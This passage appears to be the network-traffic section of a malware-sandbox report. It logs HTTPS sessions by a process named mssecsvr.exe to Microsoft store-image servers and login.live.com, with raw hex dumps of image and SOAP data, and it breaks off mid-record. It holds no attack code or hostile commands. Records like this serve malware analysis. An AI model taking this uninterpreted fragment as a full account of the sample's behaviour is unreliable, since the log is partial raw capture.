2022-07-20 11:23:46 UTC	673	IN	Data Raw: 8e 83 52 40 a1 e0 41 da 90 4a b2 99 79 2e c7 b9 5a c5 0f bc 14 78 5f 43 37 b6 8e 14 13 b5 60 69 61 52 2b bd b6 dd de d8 6c c5 51 5c af 85 d5 66 4d a7 09 43 ac d5 e5 f2 1e f6 e0 71 8c 12 bd d5 49 2e ac 75 6f 6c f7 8f cf f8 4d 5f de 1c d8 b7 1c 99 ba b4 d1 bf d9 8e 57 37 77 00 e0 8e 99 f0 03 f7 ce 9d bc d9 3d 75 b3 e7 fb 3e 00 ad 6c b4 97 67 82 7f f9 b7 1f 98 6c 04 17 b6 36 3b b1 8e 35 4a 97 6b ad 77 da dd 24 55 81 1f 0e a2 48 6b 25 a5 34 26 1b f5 a7 ad 25 6d 0c 2a 32 84 46 53 92 c6 c6 e8 5e b7 e3 38 ae 10 b2 db ed 6a a5 8d b5 04 94 24 49 1c c7 b5 5a 6d d0 ef ed 3f 78 c4 97 a0 e3 b1 5a ca 6e 4a d2 6b 97 23 6f ff e2 ed 9a c0 4a 75 c9 dd a9 7c 99 50 b8 8b b0 3c a6 ea 82 63 9e 84 0d 9b c3 4a 61 5b 6e 1b 58 2e 41 92 b1 79 ce 6d 33 78 97 03 23 60 36 37 ad dc 3c Data Ascii: R@AJy.Zx_C7`iaR+lQ\fMCqI.uolM_W7w=u>lgl6;5Jkw$UHk%4&%m*2FS^8j$IZm?xZnJk#oJu\|P<cJa[nX.Aym3x#`67<
2022-07-20 11:23:46 UTC	704	IN	Data Raw: fa 6a 27 e9 58 03 e7 34 b0 06 68 50 93 a6 20 56 51 65 6a 27 06 9c 3b ef 25 04 0a 30 36 61 96 a0 aa ea 00 9e 32 b2 39 1e 88 6d 0b dc 2f 96 56 d6 9f b8 f0 fe 9b d7 83 68 c6 24 44 4c 7a 48 f4 6a 5a 00 45 00 02 69 0c eb 0a 22 26 b7 d9 62 7b 36 0b e3 ad 71 c2 52 e4 96 1b 55 a4 2a 98 94 11 44 34 10 02 21 08 82 68 68 08 5e e2 29 6f 07 20 80 c2 9d ab 1a 42 a8 cb de c9 b3 59 bb f3 d0 62 b1 75 c0 2f 6d d6 c6 70 33 5f 12 8d a9 15 7a 74 56 ee 0a 30 d2 43 2c e6 3c 83 49 61 1b 33 17 0e 33 ce 1b 0d 9f 73 4e 45 c8 18 c3 cd 5e 86 99 54 e0 bd 87 c6 63 83 78 c6 d8 34 e8 96 10 fc 62 2b 6d a5 7c f7 80 4b 71 97 fc 26 9e 18 55 0d a2 22 1a 82 b2 51 e2 08 61 26 51 41 88 9d dc dc d6 ab 77 6d 5f 0e 07 7f 74 c4 f2 92 79 5d 1b 15 b8 12 48 05 9a 82 18 96 90 e4 e0 1c 1a a2 82 a5 99 77 Data Ascii: j'X4hP VQej';%06a29m/Vh$DLzHjZEi"&b{6qRU*D4!hh^)o BYbu/mp3_ztV0C,<Ia33sNE^Tcx4b+m\|Kq&U"Qa&QAwm_ty]Hw
2022-07-20 11:23:46 UTC	716	IN	Data Raw: a1 6c d8 4e 43 b0 12 7e e8 de 64 b5 3d fa d6 2b 3c 9b 2d fe c0 0f 26 9f fc 5c 3d 1a b8 8d 5b 3c 18 e0 e6 0d 37 1a 4e 27 b3 e9 d6 f6 74 6b bb 9c 56 0e b0 40 ef c4 6a ff c9 fb 57 7e e8 c3 8b 1f bd df f6 33 37 1c f8 dd 99 36 dd be 77 ae d2 e0 ab c1 c1 5b 2f bd fa b7 bf 76 e9 3b b7 6a 00 dd 5e 97 99 76 77 07 69 9a 1a c3 d3 89 e3 34 5b 6f 49 2f a5 a0 0c 8a b9 2d b1 dc 8b e0 22 d5 20 5a 4f 65 74 87 d9 2a 8b c6 38 21 6d f8 67 94 b4 61 ac fa 0a c4 1c 43 82 1b c3 0c 35 a6 f9 e0 29 cd f4 e0 75 f8 09 ad 3c a5 9c 13 29 19 0b 4e e7 d9 52 02 b6 e0 04 50 b8 09 c2 0c d5 16 c4 c3 58 22 85 04 b0 c2 30 84 41 99 06 07 32 c8 5a 08 53 f8 0a 9c 80 69 6b 73 44 ab 8f 64 eb 0f 13 82 c9 5f 0d ee 40 17 2e 6a fa dd 83 1b ef 4e b6 af b4 57 16 83 93 e9 e6 8d 9c 7d ab 53 90 77 60 03 28 Data Ascii: lNC~d=+<-&\=[<7N'tkV@jW~376w[/v;j^vwi4[oI/-" ZOet*8!mgaC5)u<)NRPX"0A2ZSiksDd_@.jNW}Sw`(
2022-07-20 11:23:46 UTC	732	IN	Data Raw: 3b 0e 8f 1e a9 5d e6 ea e4 48 bd 8d 25 b0 b2 86 d6 13 16 e7 93 ca 91 72 a2 2a c2 41 3d 07 92 00 38 5f 33 85 ea f6 e6 de 1b 57 b7 0c 82 05 48 54 99 e8 ce 20 78 6e 98 8e ed de 8b a5 31 10 30 6c 92 5f bc 7c 71 eb ca d5 a7 1e 7c 68 61 fd d8 be c8 d6 5f 3d 7f e3 89 c7 6f fd 4f ff 34 fb cc 67 97 41 45 f0 5f d9 b8 7d 7a 34 ba 6b 75 b5 d3 e9 16 65 69 99 1f 39 71 b2 0c fe b5 bd dd 62 c3 9f ad aa 63 c7 4f dc 7b ea d4 c5 da b9 e9 d4 95 05 03 db 1f fe ed d9 ab 6f 4c af 5c d9 77 d2 3f 3c a8 8a e1 cd ba b0 a9 b1 eb 7d 3e b6 30 ea a4 b6 d3 3d 75 ef 7d 57 3f fc 1b bb 9f f9 e2 c3 9d de c2 d2 f2 8d dd dd ab c3 7d 01 d6 07 8b 67 d7 d6 8c b1 d7 76 77 77 86 a3 4e 9e 1d 5b 5a ea 67 39 a0 d7 c7 a3 57 f6 f7 72 a4 f7 f7 8f 3d f4 2e dc ff c7 8b 13 0f 98 7c 65 01 59 0a 4a 21 16 81 Data Ascii: ;]H%r*A=8_3WHT xn10l_\|q\|ha_=oO4gAE_}z4kuei9qbcO{oL\w?<}>0=u}W?}gvwwN[Zg9Wr=.\|eYJ!
2022-07-20 11:23:46 UTC	748	IN	Data Raw: c8 a7 ef a2 b5 75 bc ff bd b8 fb 2e 3c f3 0c 5e 7e 05 93 a9 5a 83 4e 6e 96 96 fa c6 f4 7b fd ea f0 60 34 1c ed 17 d3 51 39 1d bf 5a e9 9b 63 c9 3a 49 b2 db a1 3d 37 a2 24 4f 7c c7 8d ae 14 d5 e4 c0 be ef 09 4a fa ba 31 a4 de 59 77 ed 16 16 57 55 ab b0 b7 0b e6 3c 31 36 48 f0 ea bc af 67 f5 6c 7b 72 f3 e5 bd e9 f1 ee e2 4a 96 80 4d d2 e9 2d f7 17 d7 d0 5f 2e f3 94 6c 96 90 b1 06 6a a1 6c 18 56 89 63 de eb dc 0e 43 31 03 cf 15 75 31 2a cb 61 55 4e eb 50 07 b2 94 a4 26 c9 ad 49 a8 31 35 73 14 4a 89 88 06 27 ae 0c ae f2 c1 2b a0 4c 88 78 32 af c1 8c b4 b3 81 72 8c 4b 86 6f b2 0d aa 95 a3 b1 e3 a1 37 85 10 1c 6f af 57 d7 7b c1 78 74 e2 37 5b c1 0c 9b 21 ef a2 bf c8 44 5a cf 14 be 69 e2 89 40 06 24 77 24 a3 09 1a fd aa c7 e2 31 54 33 20 a0 6f 31 30 aa 0a cb e8 Data Ascii: u.<^~ZNn{`4Q9Zc:I=7$O\|J1YwWU<16Hgl{rJM-_.ljlVcC1u1*aUNP&I15sJ'+Lx2rKo7oW{xt7[!DZi@$w$1T3 o10
2022-07-20 11:23:46 UTC	755	IN	Data Raw: 5d 6b 8c 9e 8a 64 09 3a 5a 78 0b 28 f6 21 42 f0 11 83 02 aa 99 5c 7b 9f 78 cf c1 93 eb 85 e9 43 e5 e8 81 c2 ad 7a 04 f0 3e 4c 02 9b c2 da 36 43 a2 4d 3b 89 2a 2f c3 48 73 b6 26 a9 8b 50 cd 7c 5d 22 cd 23 f6 8e f3 2c 4b 73 52 68 d6 47 da 83 02 b7 2e e2 e4 83 38 fb 08 6e bd 01 6b 91 e7 18 0c b0 d8 13 dd 28 ab 11 1b a3 27 68 30 b2 e5 4d 2e 53 c6 e1 18 5b 07 38 b5 06 22 38 07 55 18 83 51 65 ea 3a b5 1c 88 d8 da ac 73 7b 7b 67 6f 7f 2f cb d3 b5 f5 35 c3 ac ce 0b 71 8b dd 50 cf 54 c3 27 81 43 90 ab 37 6f dc 7b cf 85 2a f8 3a d4 31 72 8f 00 11 15 09 2a 2a 21 04 11 e7 3d 98 3b eb eb d3 c9 58 43 b0 44 22 52 0f 47 0b 3e 24 5d 13 8e b4 08 1a a0 d1 5e e2 5c 3d 1e 8e cb a2 10 11 66 0e 21 7c cd 09 39 da d6 1f 61 2f d4 18 d3 e9 74 38 ba d7 a0 5f 83 ef 23 6a 69 d2 4d cc Data Ascii: ]kd:Zx(!B\{xCz>L6CM;/Hs&P\|]"#,KsRhG.8nk('h0M.S[8"8UQe:s{{go/5qPT'C7o{:1r**!=;XCD"RG>$]^\=f!\|9a/t8_#jiM
2022-07-20 11:23:46 UTC	771	IN	Data Raw: aa 42 29 5a 25 84 64 88 0d a8 51 51 63 a0 ac 6a 34 b1 24 ad 6a 82 da 13 8e 4f 44 04 61 86 44 d9 5f cc 6e 3c 7e f0 c6 6b af ef ec 9e 5e df d9 8e 22 75 55 1d 3f d9 5b 4c a6 31 c4 2c cf 5c e6 ac cb 54 55 88 06 c3 a1 eb 95 fb 0f 1f 5d 7f ed f5 f7 af 7f 28 4d f5 6b 9f 38 f3 57 be fc fc 97 3e 76 71 e7 d4 b6 19 0c 91 15 20 0b 90 08 a2 68 94 13 d7 3c 26 fb 8c ce 9e 56 74 fc 8e 34 99 58 2a 51 63 5c 51 8f 7d 17 1b 2d 31 c5 52 51 ca d7 65 43 9c 22 2e 53 2b 4d 87 d9 10 7d 1b 9a da d7 b5 b6 cd 8d 77 de 69 fb 67 2e bc f4 f9 d6 07 62 c7 36 66 85 18 83 dc db 98 3b 9f 67 45 66 cb e5 b2 74 a6 f7 f2 27 f7 c7 6b b3 1b 6f 1e ce a7 69 93 e6 95 49 85 81 3a a7 86 89 1d 75 49 24 82 74 ef 44 66 94 35 b6 1e 42 41 74 7e b4 e0 3c 03 f8 5c e1 fe ea cf 6f fd d4 a7 36 7f ef 3b 7b df 7c Data Ascii: B)Z%dQQcj4$jODaD_n<~k^"uU?[L1,\TU](Mk8W>vq h<&Vt4X*Qc\Q}-1RQeC".S+M}wig.b6f;gEft'koiI:uI$tDf5BAt~<\o6;{\|
2022-07-20 11:23:46 UTC	779	IN	Data Raw: 78 49 2f cd 20 31 36 12 42 f4 6d f0 41 62 d4 36 6a dd a2 0a 58 b6 a8 3c 9a 80 65 83 65 83 a0 d0 22 2f 2e 5e 59 bb f4 b1 fe b9 e7 07 9b a7 47 83 7e 2f b7 f9 ea 47 96 e5 d6 39 63 1d b3 21 36 9d 5e 37 75 95 84 d7 a7 a3 44 ca 24 0d d1 7b ef db ce 6b 2e 86 28 01 59 56 9e 3d 7b fe dc b9 73 59 e6 44 7e 62 45 3e 59 94 55 35 c6 d8 b6 5e c4 bf f3 fe dd 3f fe f6 87 ce 59 66 0b 62 fb e8 e8 c0 b1 29 b2 2c 77 59 66 ac 61 8e 21 32 b5 de 18 ef 33 6b 9d b5 c6 59 97 7e 65 bb e0 77 63 d9 58 63 c8 b0 0f de a4 77 85 08 11 c5 10 53 ab d0 14 51 4f 12 45 10 23 07 56 95 10 22 a9 5a e8 6a 45 39 f9 e2 82 84 20 2b 13 47 e2 48 c4 5d 5a dc d3 84 17 7d 86 1a cd 38 09 43 25 26 63 d9 75 df ba 93 b8 b1 66 ce 03 63 5e fe c4 c7 de fe f1 5b 1f 7d 33 9c f9 ec 9f 11 ce 1e de bd dd b6 7e f7 fc Data Ascii: xI/ 16BmAb6jX<ee"/.^YG~/G9c!6^7uD${k.(YV={sYD~bE>YU5^?Yfb),wYfa!23kY~ewcXcwSQOE#V"ZjE9 +GH]Z}8C%&cufc^[}3~

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.7	49773	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:46 UTC	614	OUT	GET /image/apps.5845.13510798886747090.492cc081-9f95-48fd-b532-eba9c10ac577.477c821a-ca1f-4c68-937c-677b2841df44?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:46 UTC	631	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 39730 Content-Type: image/jpeg Last-Modified: Wed, 20 Jul 2022 07:08:36 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE2QTFFQUExQ0U4MjU" MS-CV: dGUIlzBl70yBakiI.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:46 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:46 UTC	631	IN	Data Raw: ff d8 ff db 00 84 00 05 04 04 10 10 0e 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 11 10 10 10 10 10 10 0d 20 20 20 1c 1e 1f 21 21 21 20 10 30 27 30 18 30 18 18 18 18 01 05 06 06 09 08 09 10 09 09 10 20 16 12 15 20 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 ff c2 00 11 08 01 2c 01 2c 03 01 11 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 02 03 01 01 00 00 00 00 00 00 00 00 00 00 06 07 04 05 00 03 08 02 01 ff da 00 08 01 01 00 00 00 00 da cb 60 e8 90 4d 2a 20 62 ea aa 3c 5a ff 00 5b 63 eb 91 32 9a e2 65 60 e6 88 f5 ba fc 7d d3 ab 5f 9f 1f 37 b5 af 8f 48 c8 2d 61 51 d1 8f c1 d9 8a aa 02 61 d2 d1 fa 82 71 e2 12 2a Data Ascii: !!! 0'00 ,,`M* b<Z[c2e`}_7H-aQaq*
2022-07-20 11:23:46 UTC	665	IN	Data Raw: 32 f1 15 97 41 eb f5 b6 a7 e9 ea 46 de d3 fa 9b 24 b5 8b 40 f0 5e 35 72 6c 36 5a 00 03 43 c8 e0 e3 e5 26 ad f2 ed 8c b8 3e 8a 47 47 70 7e a1 c3 de a6 3e 55 57 af 2a b7 37 37 04 ab a6 ef 9a ad 7c 0d 0a 16 f4 54 b5 05 88 6b 75 2f 5d 9a 23 35 ff 00 85 8e fb 03 56 bf 15 dc 4d 99 80 9f 3d c5 3a 3d 3a 95 59 4d 61 8f 75 a0 ad 36 5e c3 6d 85 e5 cf eb 75 d5 6e a9 d9 36 d0 ff 00 69 8e a7 ba c8 29 f6 e1 83 6c 25 8a df 12 b4 95 24 a8 7e 43 47 c8 e2 ef 6c 3c 0f ff 00 ce 67 ea 05 23 2c 93 fa 6a c1 e9 74 9e 6c 13 86 e4 7a 6c 6e e0 1b e8 0f 1f 94 7e ae c5 ba 9e ec c7 c8 b2 87 16 55 85 96 b9 34 ad ab b9 b9 a8 37 2a 52 f6 2d 73 07 12 ba 76 52 c2 a0 6d b3 b1 c3 7f 91 56 ee 43 47 7a 26 5a 08 05 65 4b 30 e9 e2 b1 54 d6 9d dd b2 75 31 29 03 e4 72 f2 bd 87 82 22 cc 8c 66 b1 d0 Data Ascii: 2AF$@^5rl6ZC&>GGp~>UW77\|Tku/]#5VM=:=:YMau6^mun6i)l%$~CGl<g#,jtlzln~U47R-svRmVCGz&ZeK0Tu1)r"f
2022-07-20 11:23:46 UTC	689	IN	Data Raw: 3a e1 06 f9 30 ca b3 31 e3 dc f5 91 d2 93 21 c4 8e b0 b1 90 35 88 4f 61 af c7 f2 15 04 ea 50 37 c0 92 6e ff 00 88 7f cb 49 fe 5c ff 00 3c 4e 31 df 0c ab 7d f3 ac 94 38 68 e6 32 77 53 c7 18 51 39 7c 06 58 33 11 62 9b 5e 46 f0 d4 49 96 94 65 c1 49 21 99 38 a7 bc 5e db 75 07 6a d2 94 a6 e9 b8 30 56 70 5e 41 4b 84 2c 73 92 33 94 aa 42 1d f8 4e 54 54 d5 42 07 0e 91 eb 0e 45 35 e8 f8 37 92 e8 f9 6b f1 bc 67 42 c7 9f e6 99 c2 1d 44 2a 74 bd 93 ac 1a 55 bc b0 1f 06 c7 d6 44 d3 e7 10 6a 3f 18 c6 47 63 a4 e1 34 0e fd cc 98 e8 4d 91 36 0d 43 72 51 27 59 48 6c 98 a2 a6 dc 8e ba 1d 63 f7 a9 fe 6f d8 8f f3 38 e0 81 32 56 b3 6f e5 69 fe 15 de 46 37 b2 44 04 5e 46 34 4f 38 a4 a0 24 fe c8 79 23 1c 03 c7 f1 20 30 34 ef 13 2b 02 5e 60 e5 f4 19 1e 39 70 c2 aa 43 39 b8 a2 31 Data Ascii: :01!5OaP7nI\<N1}8h2wSQ9\|X3b^FIeI!8^uj0Vp^AK,s3BNTTBE57kgBD*tUDj?Gc4M6CrQ'YHlco82VoiF7D^F4O8$y# 04+^`9pC91

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.7	49776	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:46 UTC	793	OUT	GET /image/apps.64125.13510798886747090.492cc081-9f95-48fd-b532-eba9c10ac577.9bc20b6e-b23e-440d-a57d-43a19d3c51a5?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:46 UTC	794	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 11309 Content-Type: image/jpeg Last-Modified: Wed, 20 Jul 2022 07:09:03 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE2QTFFQkEyMEE4RTI" MS-CV: KJKS5iLPt0qr6k0q.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:46 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:46 UTC	794	IN	Data Raw: ff d8 ff db 00 84 00 05 04 04 10 10 0f 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 11 10 10 10 10 10 10 10 20 20 20 1c 1e 1f 21 20 20 20 10 30 30 30 18 26 18 18 18 18 01 05 06 06 09 08 09 10 09 09 10 20 15 12 16 20 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 18 ff c2 00 11 08 00 8e 00 8e 03 01 11 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 06 07 04 05 08 03 02 00 01 ff da 00 08 01 01 00 00 00 00 27 70 16 43 55 d2 83 f3 eb 12 d2 25 25 37 88 31 fd e8 a7 24 8f 60 d0 73 fb 2c e9 3a f8 4c 52 0c 0f 77 e7 eb 61 97 d0 75 e6 af a8 65 9b 25 5a 62 e1 d7 f9 0c ab f7 86 a7 3d 98 92 9e Data Ascii: ! 000& 'pCU%%71$`s,:LRwaue%Zb=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.7	49777	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:46 UTC	805	OUT	GET /image/apps.65344.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.2a7e9f85-6e2d-4bc7-ad81-13196f5baf00?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:46 UTC	805	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 17018 Content-Type: image/png Last-Modified: Wed, 23 Mar 2022 12:32:14 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEwQ0M5Mjk0RDY0MzI" MS-CV: 8/oQHq+FgEulH2fF.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:46 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:46 UTC	806	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 42 41 49 44 41 54 78 9c e5 bd 77 bc 1d c5 79 37 fe 7d 66 77 4f b9 bd e9 ea 0a 15 54 69 92 e8 5d 18 8c c1 18 8c 6d dc 30 c6 80 13 3b af eb 1b a7 d8 71 12 fb 8d 93 bc bf bc 49 ec c4 25 ee 49 5c 08 71 23 06 63 30 8e 0d c1 18 63 03 a6 08 90 00 21 40 42 5d ba bd 9f ba bb 33 cf ef 8f 6d 33 bb 7b ae 84 83 4b 92 f9 dc cf b9 7b 66 a7 3e df a7 cd 33 b3 7b 08 37 4d e1 c8 13 bd a8 c5 e2 c4 2f 52 99 ff d6 c9 7e 01 65 17 06 e0 85 c2 93 5b 77 01 3c e8 70 05 fe bb a7 23 83 6a 01 18 8e 54 ce 32 e5 38 8f ea a9 52 d9 22 ff 83 01 7b 21 52 95 4a ad 40 ca a2 72 24 c5 16 40 ae 15 60 68 71 f7 bf 69 3a 1c 54 b9 64 cf cf cc e4 1e b9 4a 64 b3 7a 0a b6 85 25 e9 7f 8c 9c bd 70 a9 Data Ascii: PNGIHDRh_BAIDATxwy7}fwOTi]m0;qI%I\q#c0c!@B]3m3{K{f>3{7M/R~e[w<p#jT28R"{!RJ@r$@`hqi:TdJdz%p
2022-07-20 11:23:46 UTC	821	IN	Data Raw: 2e 89 b3 99 e6 82 2f 2c 95 09 72 e6 b7 90 ed 9d 92 ea da dd 78 17 98 c3 df a0 4a 50 49 49 83 2e 4c a6 23 9e 63 81 90 94 4f 3b 20 5a 23 39 d5 22 6e d2 39 37 cb 95 09 72 9c 63 06 c8 2c 93 dc cb aa c5 5c a2 e9 03 8b 2b ea a9 85 6e e4 2c 11 72 3b cb 65 70 4a 3e 13 96 32 e4 58 db b0 67 ed 45 4f b1 43 a1 53 3c bb 6c 4a c9 5f aa 77 43 51 b4 12 5c 73 26 9c 47 cd b8 71 1d 98 d4 6c 75 60 62 5f d4 28 db 3a b4 18 2b 9b 1c a1 4c b1 08 99 76 41 6f 79 01 f9 5b 40 86 a0 89 51 5e 19 4d 75 d9 89 4c 28 ad 50 cc fb c1 67 1c a8 8d 49 96 95 aa dc 81 72 d6 ad 8f 3f b5 f8 50 4c ac 94 ea cb 5c 66 ec 8d d6 5a ba 64 eb 00 55 9c a1 f3 6e 6a 1b 0c 6c 48 67 68 d8 62 bc 29 d9 de 33 ea 99 e3 cf 32 6b 5c 3d bb 07 94 10 3f 6f 2e 61 64 3d d1 48 1a 92 71 70 96 75 a6 36 77 16 74 d9 d2 9b cf Data Ascii: ./,rxJPII.L#cO; Z#9"n97rc,\+n,r;epJ>2XgEOCS<lJ_wCQ\s&Gqlu`b_(:+LvAoy[@Q^MuL(PgIr?PL\fZdUnjlHghb)32k\=?o.ad=Hqpu6wt

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.7	49780	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:46 UTC	822	OUT	GET /image/apps.7873.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.7885dc21-4015-4284-a596-d3d24cf6c1b8?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:46 UTC	823	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 4575 Content-Type: image/png Last-Modified: Tue, 06 Oct 2020 07:51:50 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg2OUNDQUY1N0U0QUI" MS-CV: zZpfTR4fs0yHFO1I.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:46 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:46 UTC	823	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 03 00 00 00 4e a3 7e 47 00 00 03 00 50 4c 54 45 00 1e 36 23 3d 52 b7 bf c6 2b b0 fe ab b5 bc 37 4f 61 bf c6 cc ff ff ff 2c b1 ff 1f 3a 4f 2b af fd 09 40 64 00 1f 38 00 1f 37 00 21 3a 00 20 39 00 1e 37 00 22 3c 00 21 3b 01 23 3d 01 24 3f 20 8f d2 2b ae fc 0e 54 82 10 58 87 22 97 dc 1a 77 b1 01 28 44 01 24 3e 02 28 45 00 21 3b 29 ab f7 21 92 d6 09 42 68 10 59 88 02 2a 47 00 20 3a 0c 4b 75 04 2f 4e 14 65 98 20 91 d4 fe fe fe 29 ad fa 03 2b 49 01 27 43 21 93 d8 08 3e 62 2a af fc 0b 4a 73 1e 87 c7 26 a3 ed 0d 4d 77 06 36 58 01 23 3e 1d 84 c3 01 25 40 0b 49 71 1e 89 c9 07 38 5b 21 94 d8 1b 80 be 1b 7f bc 08 3f 64 2a ae fb 28 a8 f3 22 96 da 03 2d 4b 07 3a 5d 0f 56 83 02 25 40 24 9c e3 0d Data Ascii: PNGIHDR,,N~GPLTE6#=R+7Oa,:O+@d87!: 97"<!;#=$? +TX"w(D$>(E!;)!BhYG :Ku/Ne )+I'C!>bJs&Mw6X#>%@Iq8[!?d*("-K:]V%@$

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.7	50250	20.190.159.5	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:16 UTC	828	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2022-07-20 11:24:16 UTC	828	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 11:24:16 UTC	832	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 11:23:16 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 7bcb9257-4ac8-485d-bc35-63c1d9bea755 PPServer: PPV: 30 H: BL02PF1DA6B8E82 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 11:24:16 GMT Connection: close Content-Length: 11296
